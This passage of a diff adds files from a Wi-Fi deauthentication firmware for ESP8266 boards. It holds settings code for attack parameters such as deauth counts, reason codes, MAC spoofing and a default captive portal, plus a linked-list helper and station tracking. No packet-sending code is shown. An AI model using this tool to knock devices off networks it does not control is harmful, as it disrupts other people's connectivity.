|
||||
uint32_t Settings::getAttackTimeout() {
|
||||
return attackTimeout;
|
||||
}
|
||||
|
||||
bool Settings::getLedEnabled() {
|
||||
return ledEnabled;
|
||||
}
|
||||
|
||||
uint8_t Settings::getProbesPerSSID() {
|
||||
return probesPerSSID;
|
||||
}
|
||||
|
||||
bool Settings::getHidden() {
|
||||
return hidden;
|
||||
}
|
||||
|
||||
bool Settings::getCaptivePortal() {
|
||||
return captivePortal;
|
||||
}
|
||||
|
||||
uint16_t Settings::getMinDeauths() {
|
||||
return minDeauths;
|
||||
}
|
||||
|
||||
uint32_t Settings::getDisplayTimeout() {
|
||||
return displayTimeout;
|
||||
}
|
||||
|
||||
String Settings::getLang() {
|
||||
return lang;
|
||||
}
|
||||
|
||||
bool Settings::getSerialEcho() {
|
||||
return serialEcho;
|
||||
}
|
||||
|
||||
bool Settings::getWebSpiffs() {
|
||||
return webSpiffs;
|
||||
}
|
||||
|
||||
// ===== SETTERS ===== //
|
||||
|
||||
void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) {
|
||||
Settings::deauthsPerTarget = deauthsPerTarget;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDeauthReason(uint8_t deauthReason) {
|
||||
Settings::deauthReason = deauthReason;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setBeaconChannel(bool beaconChannel) {
|
||||
Settings::beaconChannel = beaconChannel;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setForcePackets(uint8_t forcePackets) {
|
||||
if (forcePackets > 0) {
|
||||
Settings::forcePackets = forcePackets;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setAutosave(bool autosave) {
|
||||
Settings::autosave = autosave;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAutosaveTime(uint32_t autosaveTime) {
|
||||
Settings::autosaveTime = autosaveTime;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setBeaconInterval(bool beaconInterval) {
|
||||
Settings::beaconInterval = beaconInterval;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setChannel(uint8_t channel) {
|
||||
if ((channel >= 1) && (channel <= 14)) {
|
||||
Settings::channel = channel;
|
||||
setWifiChannel(channel);
|
||||
changed = true;
|
||||
prnt(S_CHANNEL_CHANGE);
|
||||
prntln(channel);
|
||||
} else {
|
||||
prntln(S_CHANNEL_ERROR);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setSSID(String ssid) {
|
||||
if ((ssid.length() > 0) && (ssid.length() <= 32)) {
|
||||
ssid = fixUtf8(ssid);
|
||||
Settings::ssid = ssid;
|
||||
changed = true;
|
||||
} else {
|
||||
prntln(S_ERROR_SSID_LEN);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setPassword(String password) {
|
||||
if ((password.length() >= 8) && (password.length() <= 32)) {
|
||||
password = fixUtf8(password);
|
||||
Settings::password = password;
|
||||
changed = true;
|
||||
} else {
|
||||
prntln(S_ERROR_PASSWORD_LEN);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setCLI(bool cli) {
|
||||
Settings::cli = cli;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDisplayInterface(bool displayInterface) {
|
||||
Settings::displayInterface = displayInterface;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setWebInterface(bool webInterface) {
|
||||
Settings::webInterface = webInterface;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setChTime(uint16_t chTime) {
|
||||
Settings::chTime = chTime;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setMacSt(String macStr) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (eqls(macStr, S_RANDOM)) getRandomMac(mac);
|
||||
else strToMac(macStr, mac);
|
||||
|
||||
setMacSt(mac);
|
||||
}
|
||||
|
||||
bool Settings::setMacSt(uint8_t* macSt) {
|
||||
if (macSt[0] % 2 == 0) {
|
||||
memcpy(Settings::macSt, macSt, 6);
|
||||
changed = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void Settings::setMacAP(String macStr) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (eqls(macStr, S_RANDOM)) getRandomMac(mac);
|
||||
else strToMac(macStr, mac);
|
||||
|
||||
setMacAP(mac);
|
||||
}
|
||||
|
||||
bool Settings::setMacAP(uint8_t* macAP) {
|
||||
if (macAP[0] % 2 == 0) {
|
||||
memcpy(Settings::macAP, macAP, 6);
|
||||
changed = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void Settings::setRandomTX(bool randomTX) {
|
||||
Settings::randomTX = randomTX;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAttackTimeout(uint32_t attackTimeout) {
|
||||
Settings::attackTimeout = attackTimeout;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setLedEnabled(bool ledEnabled) {
|
||||
Settings::ledEnabled = ledEnabled;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
|
||||
if (probesPerSSID > 0) {
|
||||
Settings::probesPerSSID = probesPerSSID;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setHidden(bool hidden) {
|
||||
Settings::hidden = hidden;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setCaptivePortal(bool captivePortal) {
|
||||
Settings::captivePortal = captivePortal;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setMinDeauths(uint16_t minDeauths) {
|
||||
Settings::minDeauths = minDeauths;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDisplayTimeout(uint32_t displayTimeout) {
|
||||
Settings::displayTimeout = displayTimeout;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setLang(String lang) {
|
||||
Settings::lang = lang;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setSerialEcho(bool serialEcho) {
|
||||
Settings::serialEcho = serialEcho;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setWebSpiffs(bool webSpiffs) {
|
||||
Settings::webSpiffs = webSpiffs;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
139
enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h
Executable file
139
enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h
Executable file
@@ -0,0 +1,139 @@
|
||||
#ifndef Settings_h
|
||||
#define Settings_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#define VERSION "v2.1.0"
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void saveJSONFile(String path, JsonObject& root);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern String fixUtf8(String str);
|
||||
extern void copyWebFiles(bool force);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
|
||||
class Settings {
|
||||
public:
|
||||
Settings();
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void reset();
|
||||
void print();
|
||||
|
||||
void set(const char* str, String value);
|
||||
String get(const char* str);
|
||||
|
||||
String getVersion();
|
||||
uint16_t getDeauthsPerTarget();
|
||||
uint8_t getDeauthReason();
|
||||
bool getBeaconChannel();
|
||||
uint8_t getForcePackets();
|
||||
bool getAutosave();
|
||||
uint32_t getAutosaveTime();
|
||||
bool getBeaconInterval();
|
||||
uint8_t getChannel();
|
||||
String getSSID();
|
||||
String getPassword();
|
||||
bool getCLI();
|
||||
bool getDisplayInterface();
|
||||
bool getWebInterface();
|
||||
uint16_t getChTime();
|
||||
uint8_t* getMacSt();
|
||||
uint8_t* getMacAP();
|
||||
bool getRandomTX();
|
||||
uint32_t getAttackTimeout();
|
||||
bool getLedEnabled();
|
||||
uint8_t getProbesPerSSID();
|
||||
bool getHidden();
|
||||
bool getCaptivePortal();
|
||||
uint16_t getMinDeauths();
|
||||
uint32_t getDisplayTimeout();
|
||||
String getLang();
|
||||
bool getSerialEcho();
|
||||
bool getWebSpiffs();
|
||||
|
||||
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
|
||||
void setDeauthReason(uint8_t deauthReason);
|
||||
void setBeaconChannel(bool beaconChannel);
|
||||
void setForcePackets(uint8_t forcePackets);
|
||||
void setAutosave(bool autosave);
|
||||
void setAutosaveTime(uint32_t autosaveTime);
|
||||
void setBeaconInterval(bool beaconInterval);
|
||||
void setChannel(uint8_t channel);
|
||||
void setSSID(String ssid);
|
||||
void setPassword(String password);
|
||||
void setCLI(bool cli);
|
||||
void setDisplayInterface(bool displayInterface);
|
||||
void setWebInterface(bool webInterface);
|
||||
void setChTime(uint16_t chTime);
|
||||
void setMacSt(String macStr);
|
||||
bool setMacSt(uint8_t* macSt);
|
||||
void setMacAP(String macStr);
|
||||
bool setMacAP(uint8_t* macAP);
|
||||
void setRandomTX(bool randomTX);
|
||||
void setAttackTimeout(uint32_t attackTimeout);
|
||||
void setLedEnabled(bool ledEnabled);
|
||||
void setProbesPerSSID(uint8_t probesPerSSID);
|
||||
void setHidden(bool hidden);
|
||||
void setCaptivePortal(bool captivePortal);
|
||||
void setMinDeauths(uint16_t minDeauths);
|
||||
void setDisplayTimeout(uint32_t displayTimeout);
|
||||
void setLang(String lang);
|
||||
void setSerialEcho(bool serialEcho);
|
||||
void setWebSpiffs(bool webSpiffs);
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
|
||||
String version = VERSION;
|
||||
|
||||
bool beaconChannel = false;
|
||||
bool autosave = true;
|
||||
bool beaconInterval = false;
|
||||
bool cli = true;
|
||||
bool displayInterface = USE_DISPLAY;
|
||||
bool webInterface = true;
|
||||
bool webSpiffs = false;
|
||||
bool randomTX = false;
|
||||
bool ledEnabled = true;
|
||||
bool serialEcho = true;
|
||||
|
||||
uint32_t attackTimeout = 600;
|
||||
uint32_t autosaveTime = 10000;
|
||||
uint32_t displayTimeout = 600;
|
||||
uint16_t deauthsPerTarget = 20;
|
||||
uint16_t chTime = 384;
|
||||
uint16_t minDeauths = 3;
|
||||
uint8_t forcePackets = 1;
|
||||
uint8_t channel = 9;
|
||||
uint8_t deauthReason = 1;
|
||||
uint8_t* macSt;
|
||||
uint8_t* macAP;
|
||||
uint8_t probesPerSSID = 1;
|
||||
|
||||
String ssid = "pwned";
|
||||
String password = "deauther";
|
||||
bool hidden = false;
|
||||
bool captivePortal = true;
|
||||
String lang = "en";
|
||||
|
||||
String FILE_PATH = "/settings.json";
|
||||
|
||||
String getJsonStr();
|
||||
};
|
||||
|
||||
#endif // ifndef Settings_h
|
||||
521
enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h
Executable file
521
enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h
Executable file
@@ -0,0 +1,521 @@
|
||||
#ifndef SimpleList_h
|
||||
#define SimpleList_h
|
||||
|
||||
/*
|
||||
===========================================
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
|
||||
#include <type_traits>
|
||||
#include <cstddef>
|
||||
#include <functional>
|
||||
|
||||
template<class T>
|
||||
struct SimpleListNode {
|
||||
T data;
|
||||
SimpleListNode<T>* next = NULL;
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
class SimpleList {
|
||||
public:
|
||||
SimpleList();
|
||||
SimpleList(int(*compare)(T & a, T & b));
|
||||
virtual ~SimpleList();
|
||||
|
||||
virtual void setCompare(int (* compare)(T& a, T& b));
|
||||
|
||||
virtual int size();
|
||||
virtual bool isSorted();
|
||||
virtual bool isEmpty();
|
||||
|
||||
virtual void add(int index, T obj);
|
||||
virtual void add(T obj);
|
||||
virtual void insert(T obj);
|
||||
|
||||
virtual void replace(int index, T obj);
|
||||
virtual void swap(int x, int y);
|
||||
|
||||
virtual void remove(int index);
|
||||
virtual void removeFirst();
|
||||
virtual void removeLast();
|
||||
|
||||
virtual bool has(T obj);
|
||||
virtual int count(T obj);
|
||||
|
||||
virtual T shift();
|
||||
virtual T pop();
|
||||
virtual T get(int index);
|
||||
virtual T getFirst();
|
||||
virtual T getLast();
|
||||
|
||||
virtual void moveToEnd();
|
||||
|
||||
virtual int search(T obj);
|
||||
virtual int searchNext(T obj);
|
||||
virtual int binSearch(T obj);
|
||||
|
||||
virtual void sort();
|
||||
virtual void clear();
|
||||
|
||||
protected:
|
||||
int (* compare)(T& a, T& b) = NULL;
|
||||
|
||||
int listSize = 0;
|
||||
SimpleListNode<T>* listBegin = NULL;
|
||||
SimpleListNode<T>* listEnd = NULL;
|
||||
|
||||
// Helps get() method by saving last position
|
||||
SimpleListNode<T>* lastNodeGot = NULL;
|
||||
int lastIndexGot = -1;
|
||||
bool isCached = false;
|
||||
|
||||
bool sorted = true;
|
||||
|
||||
virtual SimpleListNode<T>* getNode(int index);
|
||||
virtual int binSearch(T obj, int lowerEnd, int upperEnd);
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList() {}
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList(int(*compare)(T & a, T & b)) {
|
||||
setCompare(compare);
|
||||
}
|
||||
|
||||
// Clear Nodes and free Memory
|
||||
template<typename T>
|
||||
SimpleList<T>::~SimpleList() {
|
||||
clear();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::setCompare(int (* compare)(T& a, T& b)) {
|
||||
this->compare = compare;
|
||||
sort();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
SimpleListNode<T>* SimpleList<T>::getNode(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return NULL;
|
||||
|
||||
SimpleListNode<T>* hNode = listBegin;
|
||||
int c = 0;
|
||||
|
||||
if (isCached && (index >= lastIndexGot)) {
|
||||
c = lastIndexGot;
|
||||
hNode = lastNodeGot;
|
||||
}
|
||||
|
||||
while (hNode && c < index) {
|
||||
hNode = hNode->next;
|
||||
c++;
|
||||
}
|
||||
|
||||
if (hNode) {
|
||||
isCached = true;
|
||||
lastIndexGot = c;
|
||||
lastNodeGot = hNode;
|
||||
}
|
||||
|
||||
return hNode;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::size() {
|
||||
return listSize;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isSorted() {
|
||||
return sorted;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isEmpty() {
|
||||
return listSize == 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(T obj) {
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (!listBegin) listBegin = newNode;
|
||||
|
||||
if (listEnd) {
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else {
|
||||
listEnd = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(int index, T obj) {
|
||||
if ((index < 0) || (index >= listSize)) {
|
||||
return;
|
||||
}
|
||||
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
newNode->data = obj;
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
newNode->next = nodePrev->next;
|
||||
nodePrev->next = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::insert(T obj) {
|
||||
if (!compare) {
|
||||
add(obj);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!sorted) sort();
|
||||
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
newNode->data = obj;
|
||||
|
||||
if (listSize == 0) {
|
||||
// add at start (first node)
|
||||
listBegin = newNode;
|
||||
|
||||
listEnd = newNode;
|
||||
} else {
|
||||
if (compare(obj, listEnd->data) >= 0) {
|
||||
// add at end
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else if (compare(obj, listBegin->data) < 0) {
|
||||
// add at start
|
||||
newNode->next = listBegin;
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
// insertion sort
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
SimpleListNode<T>* p = NULL;
|
||||
bool found = false;
|
||||
|
||||
// here a sequential search, because otherwise the previous node couldn't be accessed
|
||||
while (h && !found) {
|
||||
if (compare(obj, h->data) < 0) {
|
||||
found = true;
|
||||
} else {
|
||||
p = h;
|
||||
h = h->next;
|
||||
}
|
||||
}
|
||||
newNode->next = h;
|
||||
|
||||
if (p) p->next = newNode;
|
||||
}
|
||||
}
|
||||
|
||||
listSize++;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::replace(int index, T obj) {
|
||||
if ((index >= 0) && (index < listSize)) {
|
||||
getNode(index)->data = obj;
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::swap(int x, int y) {
|
||||
// only continue when the index numbers are unequal and at least 0
|
||||
if ((x != y) && (x >= 0) && (y >= 0)) {
|
||||
if (x > y) { // the first index should be smaller than the second. If not, swap them!
|
||||
int h = x;
|
||||
x = y;
|
||||
y = h;
|
||||
}
|
||||
|
||||
// When data is small, copy it
|
||||
if (sizeof(T) < 24) {
|
||||
SimpleListNode<T>* nodeA = getNode(x);
|
||||
SimpleListNode<T>* nodeB = getNode(y);
|
||||
T h = nodeA->data;
|
||||
nodeA->data = nodeB->data;
|
||||
nodeB->data = h;
|
||||
}
|
||||
|
||||
// otherwise change the pointers
|
||||
else {
|
||||
// Example: a -> b -> c -> ... -> g -> h -> i
|
||||
// we want to swap b with h
|
||||
SimpleListNode<T>* nodeA = getNode(x - 1); // x.prev
|
||||
SimpleListNode<T>* nodeB = getNode(x); // x
|
||||
SimpleListNode<T>* nodeC = getNode(x + 1); // x.next
|
||||
SimpleListNode<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
|
||||
SimpleListNode<T>* nodeH = getNode(y); // y
|
||||
SimpleListNode<T>* nodeI = getNode(y + 1); // y.next
|
||||
|
||||
// a -> h -> i b -> c -> ... -> g -> h -> i
|
||||
if (nodeA) nodeA->next = nodeH;
|
||||
else listBegin = nodeH;
|
||||
|
||||
// a -> h -> c -> ... -> g -> h -> i b -> i
|
||||
if (nodeH != nodeC) // when nodes between b and h exist
|
||||
nodeH->next = nodeC;
|
||||
else nodeH->next = nodeB;
|
||||
|
||||
// a -> h -> i b -> i
|
||||
nodeB->next = nodeI;
|
||||
|
||||
if (!nodeI) listEnd = nodeB;
|
||||
|
||||
// a -> h -> c -> ... -> g -> b -> i
|
||||
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
|
||||
nodeG->next = nodeB;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::remove(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return;
|
||||
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
SimpleListNode<T>* nodeToDelete = getNode(index);
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = nodeToDelete->next;
|
||||
} else {
|
||||
nodePrev->next = nodeToDelete->next;
|
||||
|
||||
if (!nodePrev->next) listEnd = nodePrev;
|
||||
}
|
||||
|
||||
delete nodeToDelete;
|
||||
|
||||
isCached = false;
|
||||
|
||||
listSize--;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeFirst() {
|
||||
remove(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeLast() {
|
||||
remove(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::has(T obj) {
|
||||
return binSearch(obj) >= 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::count(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < listSize; i++) {
|
||||
if (compare(obj, getNode(i)->data) == 0) c++;
|
||||
}
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::get(int index) {
|
||||
SimpleListNode<T>* h = getNode(index);
|
||||
|
||||
if (h) return h->data;
|
||||
|
||||
return T();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getFirst() {
|
||||
return get(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getLast() {
|
||||
return get(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::moveToEnd() {
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
|
||||
if (!h) return;
|
||||
|
||||
listBegin = listBegin->next;
|
||||
listEnd->next = h;
|
||||
|
||||
h->next = NULL;
|
||||
listEnd = h;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::search(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = 0;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(i);
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::searchNext(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = lastIndexGot;
|
||||
|
||||
SimpleListNode<T>* hNode = lastNodeGot;
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj, int lowerEnd, int upperEnd) {
|
||||
if (!compare || !sorted) return search(obj);
|
||||
|
||||
if (!listBegin) return -1;
|
||||
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(0);
|
||||
int hIndex = 0;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
hNode = lastNodeGot;
|
||||
hIndex = lastIndexGot;
|
||||
res = compare(obj, getNode(mid)->data);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
// when going left, set cached node back to previous cached node
|
||||
lastNodeGot = hNode;
|
||||
lastIndexGot = hIndex;
|
||||
isCached = true;
|
||||
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj) {
|
||||
return binSearch(obj, 0, listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::pop() {
|
||||
T data = getLast();
|
||||
|
||||
removeLast();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::shift() {
|
||||
T data = getFirst();
|
||||
|
||||
removeFirst();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::clear() {
|
||||
while (listSize > 0) removeFirst();
|
||||
|
||||
listSize = 0;
|
||||
listBegin = NULL;
|
||||
listEnd = NULL;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = true;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::sort() {
|
||||
if (compare == NULL) return;
|
||||
|
||||
// selection sort (less swaps than insertion sort)
|
||||
|
||||
int indexH; // index of node i
|
||||
int indexMin; // index of next minimum node
|
||||
|
||||
SimpleListNode<T>* nodeMin; // next minimum node
|
||||
SimpleListNode<T>* nodeH; // helper node at index j
|
||||
|
||||
for (int i = 0; i < listSize - 1; i++) {
|
||||
nodeMin = getNode(i);
|
||||
indexH = i;
|
||||
indexMin = i;
|
||||
|
||||
for (int j = i + 1; j < listSize; j++) {
|
||||
nodeH = getNode(j);
|
||||
|
||||
if (compare(nodeMin->data, nodeH->data) > 0) {
|
||||
nodeMin = nodeH;
|
||||
indexMin = j;
|
||||
}
|
||||
}
|
||||
swap(indexH, indexMin);
|
||||
}
|
||||
|
||||
this->sorted = true;
|
||||
}
|
||||
|
||||
#endif // ifndef SimpleList_h
|
||||
367
enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp
Executable file
367
enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp
Executable file
@@ -0,0 +1,367 @@
|
||||
#include "Stations.h"
|
||||
|
||||
Stations::Stations() {
|
||||
list = new SimpleList<Station>();
|
||||
}
|
||||
|
||||
void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||
int stationNum = findStation(mac);
|
||||
|
||||
if (stationNum < 0) {
|
||||
internal_add(mac, accesspointNum);
|
||||
// print(list->size() - 1, list->size() == 1, false);
|
||||
} else {
|
||||
*getPkts(stationNum) += 1;
|
||||
*getTime(stationNum) = currentTime;
|
||||
}
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::findStation(uint8_t* mac) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Stations::sort() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (*(a.pkts) > *(b.pkts)) return -1;
|
||||
|
||||
if (*(a.pkts) == *(b.pkts)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::sortAfterChannel() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (a.ch < b.ch) return -1;
|
||||
|
||||
if (a.ch == b.ch) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(ST_CLEARED_LIST);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::removeOldest() {
|
||||
int oldest = 0;
|
||||
int c = count();
|
||||
|
||||
for (int i = 1; i < c; i++) {
|
||||
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::printAll() {
|
||||
prntln(ST_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Stations::printSelected() {
|
||||
prntln(ST_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(ST_NO_DEVICES_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Stations::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
|
||||
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
String Stations::getAPStr(int num) {
|
||||
if (getAP(num) < 0) return String();
|
||||
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
}
|
